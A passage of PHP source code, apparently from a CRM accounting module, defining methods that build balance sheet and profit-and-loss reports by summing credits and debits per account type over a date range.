get_staff_user_id(); $data_insert[] = $node; } } $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); return true; } return false; } /** * get data balance sheet * @param array $data_filter * @return array */ public function get_data_balance_sheet($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_balance_sheet_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7 || $value['account_type_id'] == 6){ $data_report[$data_key][] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; $total += $credits - $debits; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; $total += $debits - $credits; } } } $data_total[$data_key] = $total; } $data_total_2 = []; foreach ($data_accounts as $data_key => $data_account) { if($data_key != 'income' && $data_key != 'other_income' && $data_key != 'cost_of_sales' && $data_key != 'expenses' && $data_key != 'other_expenses'){ continue; } $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7){ $total += $credits - $debits; }else{ $total += $debits - $credits; } } } $data_total_2[$data_key] = $total; } $income = $data_total_2['income'] + $data_total_2['other_income']; $expenses = $data_total_2['expenses'] + $data_total_2['other_expenses'] + $data_total_2['cost_of_sales']; $net_income = $income - $expenses; return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date, 'net_income' => $net_income]; } /** * get data balance sheet comparison * @param array $data_filter * @return array */ public function get_data_balance_sheet_comparison($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $last_from_date = date('Y-m-d', strtotime($from_date.' - 1 year')); $last_to_date = date('Y-m-d', strtotime($to_date.' - 1 year')); $this_year = date('Y', strtotime($to_date)); $last_year = date('Y', strtotime($last_to_date)); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $py_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_balance_sheet_comparison_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7 || $value['account_type_id'] == 6){ $data_report[$data_key][] = ['name' => $name, 'amount' => ($credits - $debits), 'py_amount' => ($py_credits - $py_debits), 'child_account' => $child_account]; $total += $credits - $debits; $py_total += $py_credits - $py_debits; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => ($debits - $credits), 'py_amount' => ($py_debits - $py_credits), 'child_account' => $child_account]; $total += $debits - $credits; $py_total += $py_debits - $py_credits; } } } $data_total[$data_key] = ['this_year' => $total, 'last_year' => $py_total]; } $data_total_2 = []; foreach ($data_accounts as $data_key => $data_account) { if($data_key != 'income' && $data_key != 'other_income' && $data_key != 'cost_of_sales' && $data_key != 'expenses' && $data_key != 'other_expenses'){ continue; } $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7){ $total += $credits - $debits; $py_total += $py_credits - $py_debits; }else{ $total += $debits - $credits; $py_total += $py_debits - $py_credits; } } } $data_total_2[$data_key] = ['this_year' => $total, 'last_year' => $py_total]; } $this_income = $data_total_2['income']['this_year'] + $data_total_2['other_income']['this_year']; $this_expenses = $data_total_2['expenses']['this_year'] + $data_total_2['other_expenses']['this_year'] + $data_total_2['cost_of_sales']['this_year']; $this_net_income = $this_income - $this_expenses; $last_income = $data_total_2['income']['last_year'] + $data_total_2['other_income']['last_year']; $last_expenses = $data_total_2['expenses']['last_year'] + $data_total_2['other_expenses']['last_year'] + $data_total_2['cost_of_sales']['last_year']; $last_net_income = $last_income - $last_expenses; return ['data' => $data_report, 'total' => $data_total, 'this_year' => $this_year, 'last_year' => $last_year, 'from_date' => $from_date, 'to_date' => $to_date, 'this_net_income' => $this_net_income, 'last_net_income' => $last_net_income]; } /** * get data balance sheet detail * @param array $data_filter * @return array */ public function get_data_balance_sheet_detail($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { if($data_key != 'income' && $data_key != 'other_income' && $data_key != 'cost_of_sales' && $data_key != 'expenses' && $data_key != 'other_expenses'){ $data_report[$data_key] = []; $total = 0; $balance_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 10 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 7){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_balance_sheet_detail_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); $data_report[$data_key][] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $child_account]; $total += $amount; $balance_total += $balance; } } $data_total[$data_key] = ['amount' => $total, 'balance' => $balance_total]; } } $data_total_2 = []; foreach ($data_accounts as $data_key => $data_account) { if($data_key != 'income' && $data_key != 'other_income' && $data_key != 'cost_of_sales' && $data_key != 'expenses' && $data_key != 'other_expenses'){ continue; } $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7){ $total += $credits - $debits; }else{ $total += $debits - $credits; } } } $data_total_2[$data_key] = $total; } $income = $data_total_2['income'] + $data_total_2['other_income']; $expenses = $data_total_2['expenses'] + $data_total_2['other_expenses'] + $data_total_2['cost_of_sales']; $net_income = $income - $expenses; return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date, 'net_income' => $net_income]; } /** * get data balance sheet summary * @param array $data_filter * @return array */ public function get_data_balance_sheet_summary($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_balance_sheet_summary_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 10 || $value['account_type_id'] == 7){ $data_report[$data_key][] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; $total += $credits - $debits; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; $total += $debits - $credits; } } } $data_total[$data_key] = $total; } $income = $data_total['income'] + $data_total['other_income']; $expenses = $data_total['expenses'] + $data_total['other_expenses'] + $data_total['cost_of_sales']; $net_income = $income - $expenses; return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date, 'net_income' => $net_income]; } /** * get data custom summary report * @param array $data_filter * @return array */ public function get_data_custom_summary_report($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_custom_summary_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $data_report[$data_key][] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; } } } } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data profit and loss as of total income * @param array $data_filter * @return array */ public function get_data_profit_and_loss_as_of_total_income($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_percent = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } $total = 0; foreach ($data_accounts['income'] as $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $total += $credits - $debits; }else{ $total += $debits - $credits; } } } $data_total['income'] = $total; foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $percent = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $r_am = $credits - $debits; $total += $credits - $debits; }else{ $r_am = $debits - $credits; $total += $debits - $credits; } $child_account = $this->get_data_profit_and_loss_as_of_total_income_recursive([], $data_total['income'], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); if($data_total['income'] != 0){ $data_report[$data_key][] = ['name' => $name, 'amount' => $r_am, 'percent' => round((($r_am) / $data_total['income']) * 100, 2), 'child_account' => $child_account]; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => $r_am, 'percent' => 0, 'child_account' => $child_account]; } } } $data_total[$data_key] = $total; if($data_total['income'] != 0){ $data_percent[$data_key] = round(($total / $data_total['income']) * 100, 2); }else{ $data_percent[$data_key] = 0; } } return ['data' => $data_report, 'total' => $data_total, 'percent' => $data_percent, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data profit and loss comparison * @param array $data_filter * @return array */ public function get_data_profit_and_loss_comparison($data_filter){ $this_year = date('Y'); $last_year = $this_year - 1; $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $last_from_date = date('Y-m-d', strtotime($from_date.' - 1 year')); $last_to_date = date('Y-m-d', strtotime($to_date.' - 1 year')); $this_year = date('Y', strtotime($to_date)); $last_year = date('Y', strtotime($last_to_date)); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_this_year = []; $data_last_year = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $py_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_profit_and_loss_comparison_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $data_report[$data_key][] = ['name' => $name, 'this_year' => $credits - $debits, 'last_year' => $py_credits - $py_debits, 'child_account' => $child_account]; }else{ $data_report[$data_key][] = ['name' => $name, 'this_year' => $debits - $credits, 'last_year' => $py_debits - $py_credits, 'child_account' => $child_account]; } } } } return ['data' => $data_report, 'this_year_header' => $this_year, 'last_year_header' => $last_year, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data profit and loss detail * @param array $data_filter * @return array */ public function get_data_profit_and_loss_detail($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $balance_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); 